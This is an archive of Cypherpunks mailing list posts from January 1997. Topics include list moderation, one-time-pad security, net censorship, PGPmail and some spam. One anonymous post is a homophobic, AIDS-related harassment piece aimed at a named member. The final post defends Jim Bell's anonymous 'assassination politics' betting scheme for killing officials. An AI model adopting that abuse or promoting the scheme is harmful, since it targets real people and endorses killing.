> The arguments about imaginary quotes and libel are harder to untangle
> because the moderation process seems to consume the mail headers showing
> the messages' travels before reaching toad.com.  I suggest that these
> headers are signal not noise, and should be propagated if at all possible.
> We have had problems in the past with forgeries, and should retain this
> basic tool for evaluating a message's source.

 The header information, on all of the lists, has been changed in order
to make it more difficult for list members to keep track of what is 
going on behind the Electromagnetic Curtain.
 A simple example is the fact that, originally, a quick glance at the 
header was sufficient to recognize which messages were sorted to the
flames list and were sent out by toad.com from this list. This has
since been changed to make the process of censorship more obtuse.

  Your complaint about it being difficult to 'untangle' certain 
message threads seems to stem from the fact that you have chosen
to receive only a cypher-world-view that has been censored before
you receive it.
  The purpose behind censorship on the list is for the censoring
party to be able to spoon-feed you only what they deem fit for 
you to read. Given the haphazard methods with which the censorship
is being instituted, it is not in the best interest of the censors
to make it easy for the list members to track the course of the
various postings.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 27 Jan 1997 20:10:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Airport Security
Message-ID: <199701280410.UAA06882@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dumpy Vilus wears satin lingerie embroidered with pink
swastikas, prancing around for his homosexual, AIDS infected
lovers.

        _
       / '
      |
   /><oo><\ Dumpy Vilus
  //[ `' ]\\






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 27 Jan 1997 17:51:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970127205105Z-2978@INET-04-IMC.microsoft.com>
Message-ID: <mZV81D92w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Blanc Weber <blancw@MICROSOFT.com> writes:

> From:	Sandy Sandfort
>
> (By the way, if you don't like moderation, you would hate Eric Hughes'
> favored solution.)
> ...............................................
>
> What was that?

Eric Hughes struck me as being smarter than Gilmore, so I too would like
to know what his "favored solution" was. Didn't I have dinner with him once?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 18:31:40 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.SUN.3.91.970126073859.24597D-100000@crl8.crl.com>
Message-ID: <32ED8048.4E50@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> Apparently, Toto does not know very much about John or me or our
> relationships with the "Establishment."

  Unfortunately, I know a little 'too much' about you and John and
your relationships with the Establishment.  But as long as I don't
think about it at the dinner table, it doesn't affect my appetite.

> I can't speak for John, but 

  You do so all of the time. It seems, rather, that John cannot 
speak for himself (or is too embarrassed to do so).

> I think both of these groups are intellectually dishonest in the
> extreme when it comes to telling others how this list should be
> run. 

  No, Sandy, it is yourself and John who are 'telling' others how
this list 'will' be run.
  You seem to be projecting your own motivations upon anyone who 
'expresses' any unflattering opinion of the the censorship process
you have instituted.
 
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

 It must be nice, Sandy, having the power and control over the list
that enables you to fling insults at others and then direct them
to others only at your own whim and discretion.
 I guess that it is every list-dictator's dream to have the power
to send a big FUCK YOU to one portion of the list, and send a
portrait of themself as Mother Teresa to another portion of the
list.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 18:30:35 -0800 (PST)
To: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32ecee29303e002@noc.tc.umn.edu>
Message-ID: <32ED8144.61B0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kevin L Prigge wrote:

>. The purpose of this list was
> and should be discussion of cryptography and related issues. 

  Your view seems to be contradictory to that of Sandy. Sandy has
stated that s/he does not censor the list according to crypto-
relevancy.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ciro Maria <cmaria@stevens-tech.edu>
Date: Mon, 27 Jan 1997 18:03:18 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Best Computer School?
In-Reply-To: <199701271941.LAA02719@toad.com>
Message-ID: <Pine.SGI.3.94.970127210030.12570A-100000@attila.stevens-tech.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 27 Jan 1997, SpyKing wrote:

> This is a little off topic but maybe someone can help. I've got a teenage
> son (HS sophomore) who's interested in majoring in computer science in
> college with a particular interest in cryptography. He's leaning toward MIT.
> Any suggestions from list members as to colleges to investigate? 
> 
> 
> 

Yeah Stevens Institute in Hoboken. Its pretty good I got there. Also
Caltech is good, I don't really know which else.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Remo Pini <rp@rpini.com>
Date: Mon, 27 Jan 1997 12:00:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 4th ACM Conference on Computer and Communications Security
Message-ID: <199701272004.VAA07649@ln.active.ch>
MIME-Version: 1.0
Content-Type: text/plain


Anyone going there?
It's right next doors - at least next to mine :)

Remo Pini





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 27 Jan 1997 18:31:58 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: OTP security
Message-ID: <3.0.32.19970127213110.00a07440@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul replied:
>Depends on how that 16th bit is related to the other bits and whether 
>these predictable bits give any information about the other bits on 
>the disk.

Yes, I had figured that if the bits depended on eachother, then it would
blow the whole system.  

[Yet another case of my fingers lagging behind my brain.]

What I was thinking was more along the lines of something like:

1.You've got 16 hardware devices that each generate random noise.
2.One of the devices fails (or is sabotaged) and emits a predictable stream
(10101...)
3.The other 15 devices are just fine, and the stream generated by one
device does not effect the stream of another.
4.You do not know of the (failure/sabotage) until *after* you've generated
your encyrted documents and they are out of your hands.

So the revamped question is:
How secure are those documents now?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Good evening... as a duly appointed representative of the city, county and
state of New York, I order you to cease any and all supernatural activity
and return forthwith to your place or origin, or to the nearest convenient
parallel dimension.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:10:55 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <01BC0D0D.24B244D0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Jim Choate <ravage@einstein.ssz.com> wrote in article <5c5891$ah@life.ai.mit.edu>...

> > Singapore and China are blocking certain net groups. I think
> > this is a bad thing, question is how can we stop it?
> 
> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them. If Billy-Bob wants to shoot himself in the foot,
> let him. Might be purty funny to watch.

I don't agree with your view of states. The inhabitants of a
geographical area are not mere chattels of the governing power.

The right to rule rests on certain criteria which I believe neither 
country meets. The harassment of opposition politicians in
obviously trumped up charges disqualifies any country from
calling itself a democracy.


> > The Web was conceived as offering despots and dictators a choice 
> > between remaining in the dark ages and allowing freedom of
> > speech. Blocking and filtering schemes threaten this ideal.
> 
> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. 

That was not all. We had a political Web site established
during the '92 election. I was in contact with Clinton's people
when we had fewer than 100 Web sites.

I am a cyber-revolutionary and the world has bought into
the chaos of our revolution. I never intended the Web to be a tool
for confirming the present social order which is manifestly 
corrupt.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:10:46 -0800 (PST)
To: "'jimbell@pacifier.com>
Subject: Re: Fighting the cybercensor
Message-ID: <01BC0D0D.272567B0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




jim bell <jimbell@pacifier.com> wrote in article <5ch9f2$cuu@life.ai.mit.edu>...

> Look, I've proposed what I consider to be a remarkably consistent method to 
> prevent the kind of political tyranny that you criticize, and I don't see 
> any recognition of this fact.  

Thats because its a whacko solution that has no credibility
or consistency. 

If anyone tried to set up such a market and a price went out
on any of the heads of state fantasized about Mr Bell would be 
dead as a doornail in a week.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 27 Jan 1997 19:02:00 -0800 (PST)
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor
Message-ID: <199701280301.TAA14685@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Dale Thorn <dthorn@gte.net> wrote in article
<5ch8v4$co9@life.ai.mit.edu>...
> blanc wrote:
> > From:   Dr.Dimitri Vulis
> > However U.S.G. is able to say that people of Iraq or Lybia or Cuba
should
> > not be permitted on the 'net. It also bombs Iraq and murders their
> > civilians
> > in retaliation for something their governments supposedly did.
> 
> > The U.S.G. has many more resources than most of us to do these things,
> > including equipment, cooperative troops, money, and recognition from
other
> > governments.   If other nations disagree with the U.S.G. they have the
> > resources to discuss, bargain, negotiate, criticize, form alliances,
take
> > their chances and retaliate, etc.
> 
> I wish this were true, at least of nations which would be friendly
> to someone like me (white, Western, etc.).  A bully on a school
> playground can always be knocked down, no matter how big or how
> vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
> enough you get nuclear, chemical, and/or biological stuff waved at
> you - if you get into a hot war like Desert Storm, your country is
> carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

Actually the US is being remarkably ineffective in keeping
Cuba etc off the Net. If you don't believe me just try
the cuban home page.

We had a Web server running in Sarajevo during the siege
back in '93. There is no way that the US govt. can hope to
control the Internet any more than it can control the
phone system. 

What is astonishing is that the Cuban authorities are so
keen to import a technology that breaks down their
propaganda.

The Cold War was not won by the arms race, it was won in
Eastern Europe which was never a major participant. The main
instrument that won it was West German TV which broadcast
pictures of supermarkets with full shelves into the homes
of East Germans every night. The viewers could see that it
was not mere propaganda and their relatives confirmed the 
fact. As a result the East German guards on the Berlin wall
simply decided to leave their posts one night.

The East Germans couldn't stop the TV signals either. When
Dresden started to become a ghost town because people wanted
to move to a town which could recieve the broadcasts the
East Germans ended up installing their own relay to keep
the locals happy.


		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:10:52 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <01BC0D0D.284CF7C0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Asgaard <asgaard@cor.sos.sll.se> wrote in article <5c92bo$lo9@life.ai.mit.edu>...
> On Wed, 22 Jan 1997, Jim Choate wrote:
> 
> >The Web does not equal the Internet, straw man argument.
> 

Actually at CERN we considered the Web to be a superset of the
Internet protocols and others such as DECNET which ran on private
networks such as our HEPNET.

Since most of those private networks are now obsolete I would consider
Web==Internet to be a reasonable equivalence. We always considered
email and news to be part of the Web (news:, mailto:). The narrow view 
that the Web was only HTTP and HTML was a piece of Andressen 
propaganda.
 
		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 27 Jan 1997 19:23:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: <<Vitamin B>>(January 27, 1997) Affirmative Anonymity
Message-ID: <v03007803af131b08903b@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: DAILY DOSE <DAILY_DOSE@smtpgw.worldcom.com>
From: VitaminB <VitaminB@maxager.com>
Date: 27 Jan 97 15:44:12
Subject: <<Vitamin B>>(January 27, 1997) Affirmative Anonymity
Mime-Version: 1.0

Vitamin B:
Your Daily Dose of Bionomics

January 27, 1997

Affirmative Anonymity

In response to the January 24th Vitamin B ("Anonymity and Reputation"),
Greg Waddell, Policy Coordinator for U.S. Senator Connie Mack (R-FL)
and 1996 Bionomics Conference Speaker,  made the following comments,
which we'd like to share.

"There are aspects of the anonymity paradigm that relate to a whole host of
social issues that Machine Age liberals usually seek to remedy with strong
and heavy hand of government.  Namely, these are issues of discrimination
by race, gender, disability, etc. etc.  After the Joint Economic Committee's
hearing on the 21st Century Economy, held in summer of 1995, I suddenly
realized (better late than never!) that communicating via computer over the
Internet forces each of us to deal with others without regard to physical
attributes.
Neither color, race, gender, disability, religion, nationality, nor any
"class"
markers are apparent over the Net. The Information Age economy, if left
to evolve freely, could bring us closer to our American ideals of equality
for all than any law, affirmative action program, diversity training, or
anything
else.  I think that is the most compelling aspect of what we identify as the
anonymity of the Net."

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/
"If *you* don't go to FC97, *I* don't go to FC97"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 22:23:12 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: The Bell Weather Curve
In-Reply-To: <199701280233.SAA12120@mailmasher.com>
Message-ID: <32ED9537.673E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


A structurally biased analysis of the ill-diguised flames approved
for posting to the censored list yield the following graphical
representation of dual-faced snide-itity:                    
                     .-.
                    / u \
                    | n |
                    | c |
                    | e |
                    | n |
      .-.     .-.   | s |   .-.     .-. 
 ----/---\---/---\--| o |--/---\---/---\--------------------
    /     `-'     `/  r  \'     `-'     \
   (                  e                  )
    |                 d                 |
    |                                   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 28 Jan 1997 23:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701280118.RAA12047@toad.com>
Message-ID: <8P181D93w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Mon, 27 Jan 1997, Dale Thorn wrote:
>
> > Nurdane Oksas wrote:
> > > On Sun, 26 Jan 1997, Dale Thorn wrote:
> > > > Nurdane Oksas wrote:
> > > > > On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > > > > > Nurdane Oksas wrote:
> > > > > > >     i think it's good also to exercise outdoors as well as your
> > > > > > >     indoor nordictrack machines..sun and air is esp. necessary;
> >
> > > > > > but remember, tanning will kill ya.
> >
> > > > >         Yes it will; Not a fan of tanning myself...it also causes lot
> > > > >         of skin problems, have seen women age too soon tanning;
> > > > >         we don't go outside naked here in NorthEast...do remember;
> >
> > > > The real babes in So. Cal. go to tanning salons. That way the evenly-
> > > > distributed tan looks best with, say, a pure white bikini.  You can
> > > > go to the beach, of course, and hang out with the hoi polloi, but
> > > > it's mostly kids with pimples and stuff.
> >
> > >         i don't see why she would wear a bikini if she already is tan.
> > >         She just goes to show off right???  California is know for
> > >         very beautiful girls ...     I like the pale look :)
> >
> > There are two really major beaches in the L.A. area that I know of.
> > One is Bolsa Chica, several miles long, north of Huntington Beach,
> > which attracts most of the young'uns south of L.A., and Zuma in the
> > northmost points of Malibu, which gets a lot of Valley people
> > (fer sure).  To quote the L.A. Weekly of a few years ago, in a
> > "Best of L.A." review, "Why do all those hot young girls go to Zuma?
> > Because that's where all the hot young boys are."
>
> 	I see.
>
> > But the real babes don't go there.  They get skates and nifty little
> > costumes and zip up and down the boardwalks in Santa Monica and
> > Pacific Palisades mostly, in case some hot producer/director should
> > happen along.
>
> 	I see.
> 	

Why is a mere "I see" classified as cypherpunks-flames???
Stop picking on girls, Sandy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 28 Jan 1997 13:10:57 -0800 (PST)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <01BC0D0D.2B707EE0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Jim Choate <ravage@EINSTEIN.ssz.com> wrote in article <5cg99p$7a@life.ai.mit.edu>...

> The part of it that comes out of their pocketbook does. Just like the part of
> 'the net' that I pay for belongs to me. The net is a bunch of computers,
> running software, hooked together over cables and other links. Each and
> EVERY ONE of these require installation, upkeep, repair, and utility
> support. This costs money. He who pays the money owns the net, everybody
> else is along for the ride.

The network is largely an intellectual creation. The hardware is
relatively unimportant, it can always be replaced.

> If we take your argument to its logical conclusion then once a box goes on
> the net it belongs to nobody/everybody. Clearly utter nonsense.

If you start from such a state and property centered ideology perhaps.
I'm a philosophical anarchist and I don't consider the state to have
"rights" over its "subjects", nor do I believe in the pure ideology of
property you do.

Its worth noting that the origin of property is theft. In the case of the
controllers of China literally so since they stole most of their "property"
from the previous rulers.

I believe that the relationship between a state and individual is
a much more complex one than the slavish subjection model
you propose. In this I am in agreement with practically every
philosopher since Locke.

It is true that there is the convenience of the state as agency but
the question is on whose behalf that agency is exercised. 

I see no reason why I should not meddle in the affairs of states
I'm not a 'subject" of. 

> If you really and truly believe that the net belongs to everyone and nobody
> has a right to limit or otherwise control the hardware and software along
> with the associated comm links they own and pay for then you obviously don't
> understand what is going on.

They are allowed to connect their machinery to the Internet so long 
as they are prepared to accept the Internet's ethic. They are not allowed
to have a free ride, to demand a valuable connection facility on their
own terms.

> ps I also support France's current attempt at forcing the Georgia university
>    web site on French soil to use French.

As a citizen of Europe I disagree. I believe that the narrow and
parochial attitude of the French province breaches undertakings in the
Treaty of Rome and under the European declaration of human rights.

France is not a sovereign state and does not have the right to
pass laws that infringe on the rights granted to European citizens
as a whole.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Harter <dharter@harter.pg.md.us>
Date: Mon, 27 Jan 1997 19:17:01 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list (fwd)
Message-ID: <Pine.LNX.3.95.970127221537.1178E-100000@columbia.harter.pg.md.us>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 26 Jan 1997, Dale Thorn wrote:

> Actually, it is a certifiable fact that the list subscribers can
> jump to the unmoderated list whenever they want to.  It is also a
> certifiable fact that they (97% or so) have *not* done so.

Has anyone compiled a summary of the difference of volume of posts to
the lists?  I'd be interested to find out.

> Because of these facts, I must conclude that either:
> 
> 1. The subscribers have spoken by staying put, or,
> 2. The subscribers are so lazy and unaware of what's going on that
>    they've just left things as is.
>
> Now, in my opinion, we've come to this:  Some people here will hold
> the optimistic view of the bulk of the subscribers, and others will
> hold the pessimistic view (the bulk will presumably be in-between).

I just started subscribing to the list near the time it started, so I
have not noticed a difference.  If the unmoderated list is not much
more (~10%) I think I'd prefer the unmoderated list.

Regards,

Dan Harter
dharter@harter.pg.md.us






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 20:20:08 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Libel/slander & crypto relevancy
In-Reply-To: <199702280250.UAA04550@einstein>
Message-ID: <32ED9B2E.6A35@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
  A whole shitload of rambling material which is irrelevant for any
purpose except, perhaps, to disguise semi-literacy with long-winded
soliloquys.

Jim,
  You seem to be getting better drugs than I am. Got any numbers
I could call in order to re-up?
  I have to admit that your grasp of technology is superior to my own,
since you are capable of posting to the list from a parallel universe
where it is already Thursday, Feb. 27, 1997.
  Interestingly enough, one of the UCE/Spammers that is mailbombing
various lists also lives in a parallel universe where it is already 
Thursday, Feb. 27, 1997.
  Small univerese, isn't it, Jim.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bigboy@gte.net (Ernie Steefan)
Date: Mon, 27 Jan 1997 20:23:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: [[[ Worldwide  Computer Based Business   !   ]]]
Message-ID: <Ready Aim Fire!_1/27/97 11:25:14 PM_bigboy@gte.net>
MIME-Version: 1.0
Content-Type: text/plain



If you have a PC and want to achieve real Financial Independence then you MUST
take a look at our Powerful Computer Based Business.
No matter who you are or where you live, Our Business is Universal.
We distribute software and information all over the world through E-Mail and the
Internet.
Our program called PC-SUPER-MLM is the most simple and powerful MONEY MAKING software in the world!. of course, you don't have to believe me until you see
the actual program.
Reply to this message and i will send you a FREE copy of the PC-SUPER-MLM
software via E-Mail as an attachement.

Have a great day !.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BUSINESS@VNET.NET (CHAMBER OF COMMERCE)
Date: Mon, 27 Jan 1997 14:32:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Adult Chamber of Commerce is now open
Message-ID: <32ED2D00@VNET.NET>
MIME-Version: 1.0
Content-Type: text/plain


IF YOU ARE A BUSINESS OWNER WITH A WEB SITE, you should know that The Adult
Chamber of Commerce represents professional businesses on the Web.

        The Adult Chamber of Commerce is on the Web to help you!

    We got your E-mail address from your Business newsgroup posting.
        We did not put your E-mail address on a mailing list!

THE BOTTOM LINE: Chamber members see increased traffic to their Web Sites.

A massive portion of the Web has Doctors, Lawyers, Accountants, and all sorts
of people (buyer) visiting ADULT sites.  It's just the nature of the Web.

Your business can capture some of this massive traffic and direct it to your
Web site through Membership in The Adult Chamber of Commerce.  All member
companies, Adult & Non-Adult, get listed in the Chamber member links section
with an icon that indicates you do business in accordance with the Better
Business Practices of The Adult Chamber of Commerce.  This listing literally
guarantees significant additional traffic to your Web site.

Membership inThe Adult Chamber of Commerce is something you should consider
if you are interested in getting greater exposure on the Web.

Each company is checked out before membership is approved.  Since it costs
a business as little as $240 annually for membership, it's not expensive
for a company to tell others that they support the only professional
organization for responsible ADULT businesses.  A business applies for
membership at the Adult Chamber Web site and visitors regularly check to
see if the company [they'e planning to buy from] is a Member in Good
Standing.

      The Adult Chamber of Commerce web site is the place to find
           the BEST & most responsible companies on the Web.

             ==============================================
             Visit and Bookmark http://www.adultchamber.com
             ==============================================

IF YOU OWN A BUSINESS, applying for MEMBERSHIP to The Adult Chamber of
Commerce is easy.  The Web site has an online application.  Memberships are
pocessed daily and increasing traffic to your Web site is as easy as
becoming a member!  The chamber has other services besides increasing traffic
to your Web site.  We design, re-design and host Web sites professionally.
Visit www.adultchamber.com for the whole story and you will see why
membership is a good idea for any business.  If you want a brochure, leave us
your name and address.  You can call us to discuss membership at 516/689-2457
or 561/395-0217.  THE BOTTOM LINE is that Chamber member businessessee
increased traffic to their Web sites and improve sales.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 27 Jan 1997 22:47:21 -0800 (PST)
To: Rob <wlkngowl@unix.asb.com>
Subject: Re: PGPmail for Windows, Version 4.5
Message-ID: <3.0.1.32.19970127223906.02e57ebc@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 07:39 PM 1/27/97 GMT, Rob wrote:

>I'm surprised the didn't mention Pegasus Mail, which is an amazing "hot"
>mailer, with a sort-of built-in crypto plug-in capability... it's also free.

I would like to see PGPMail support Pegusus Mail for the reason that I have
used the crypto plug-in for Pegusus and found it inadiquate for general
usage.

Pegusus's current crypto hooks do not deal well with remailers and multiple
keys.  PGPMail does not deal with remailers as well as I would like, but it
is far easier to use than the Pegusus solution.



-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMu2e++QCP3v30CeZAQG33wf9GL2yZodjFYsSPTsfO+zgmi+UtzGWKCJe
OBcdIRxw+eRIS+wzVE39QYiWNsNHx9hijRtyXnVkdPNUWOoAZMTtJ5ndbFl+TtCQ
PNicvtitryrPc4VrD+VOr/uZ98Yyf1YEQXxs8+CAocJ4uujerC2bsSaG2xtqtBKZ
8fS64D0P9MklNuGWS4/RYsJsnNtdJP7I7L7G+WFd8L1PAzvlrgq3ClJ+zuBBGrQf
A/tz9YTIck0anRBifOKCUlRAtpTe0tElCvJKv7QPxLgHAJxM+rg1GHj35SY6QlKs
b3cUpjxWolL5c4WvZcyOYRf9CPp2Gr5D2XMgIrydmgQYQStP/8Orhw==
=79pa
-----END PGP SIGNATURE-----

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Mon, 27 Jan 1997 22:48:00 -0800 (PST)
To: blanc <cypherpunks@toad.com>
Subject: RE: Fighting the cybercensor
Message-ID: <199701280647.WAA10602@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:21 PM 1/26/97 -0800, blanc wrote:
>From:	jim bell (in response to Dimitri Vulis')
>Look, I've proposed what I consider to be a remarkably consistent method to 
>prevent the kind of political tyranny that you criticize, and I don't see
>any recognition of this fact.
>........................................................
>
>1) Jim, why do you insist on discussing this on an forum for encryption?

Because it's on-topic, that's why.  Because it's not merely a list 
concerning METHODS of encryption, it's also about the _reasons_ for using 
encryption, as well as the _effects_ (both small-scale and large-scale) of 
using encryption.  

If we were satisfied to protect ourselves from, say, 99.999% of the ordinary 
population of this country who might want to read our messages, we'd all be 
satisfied with DES and we'd be happy with GAK.  But the fact is, most of us 
recognize that the REAL reason for good encryption is to keep our messages 
away from a tyrannical government with far more assets than individuals or 
small organizations.


>2) Why do you suppose the Iraqis haven't already thought of doing this 
>themselves?

You need to be a little more specific about who you are referring to when 
you say "the Iraquis."  Presumably, you aren't referring to the "Iraqui on 
the street"?  Perhaps you're talking about the politicians and government 
officials there, right?

Well, if that's the case then the answer should be obvious.  AP is, 
fundamentally, a system that will take down all governments everywhere after 
it starts up anywhere.  The leadership of Iraq may be the leaders of a 
third-rate, third-world country, but as comedian Mel Brooks said in the 
movie, "History of the World, Part I," "It's good to be the king!"   And it is.

These official-types have far more in common with the leadership of the 
other countries than they do with their own citizens.  If anything, they're 
probably actually even MORE rewarded by their position than the leadership 
of westernized countries.  After all, Clinton makes about $250K per year and 
it's pretty risky for him to receive direct bribes.  Kick him out and he 
only loses a cushy job with lots of prestige.   Saddam Hussein and his 
family, on the other hand, probably was able to rake in hundreds of millions 
of dollars a year in baksheesh.  What makes you think that the leadership of 
Iraq would want to craft a weapon (AP) which is guaranteed to drop them to 
the level of their citizenry, or maybe even get themselves killed?  

As for why the ordinary Iraquis didn't think of it...  Or the ordinary 
people of any or every country, as well.  Why didn't THEY think of it?  
Maybe this is just another case of "not invented here" syndrome:  You're 
pissed off that you didn't think of it, and I did.  Sorry, can't help that. 

 

>3) The Mafia uses this method all the time - why then haven't they achieved 
>a more rational society among themselves?

That's just it!  The Mafia DOESN'T use AP or anything like it.  (Admittedly 
I can't really claim personal knowledge of the operation of the Mafia, you 
understand...!)  In fact, apparently, they function diametrically opposed to 
the AP system.  A complete AP-like system is structured (via encryption, 
etc) to totally avoid anybody having to trust anyone else. Each participant 
is kept honest mathematically.  Nobody can inform on anyone else, because 
nobody knows anyone else's identity. 

In fact, a fully-implemented AP-type system not merely hides the identities 
of the participants from each other, but it also hides the existence of 
crimes committed by any of the other participants (if any) from each other.  
A donor to the AP system, for instance, can't know for sure that his 
donation money was paid to a person who killed a target.  At most, he knows 
that the money was paid to somebody who, he's satisfied, had enough 
confidence that the death would occur on a particular date in the 
future to, in effect, bet money on the outcome.

And AP allows anyone to participate in the system, regardless of whether 
he's trusted by the others.

On the contrary, the Mafia, or at least what I've managed to pick up from 
decades of melodramatic movies and newspaper and magazine articles, depends 
intimately on people trusting each other.  That's why it's so devastating to 
them when one of their own (Joseph Valachi, for instance) turns on them and 
rats.  To be sure, that trust is backed up by threat of death for turncoats, 
which is why such defections are rare, but they do indeed occur.

Also, AP (quite unlike the Mafia) encourages literally anyone to do jobs for 
it.  The Mafia, quite the contrary, must trust people, so I assume they 
won't farm out their work to just anyone.


(I should point out that your clear misinterpretation of AP, claiming that 
it is the way the Mafia does things, is just another example of such 
confusion among critics of AP.  I attribute this to such a burning desire to 
discredit AP that you'll use practically any argument, however specious, to 
"prove" it to be incorrect or unworkable.  You're not alone.)


>4) Weren't governments (like the U.S.) instituted to prevent this sort of 
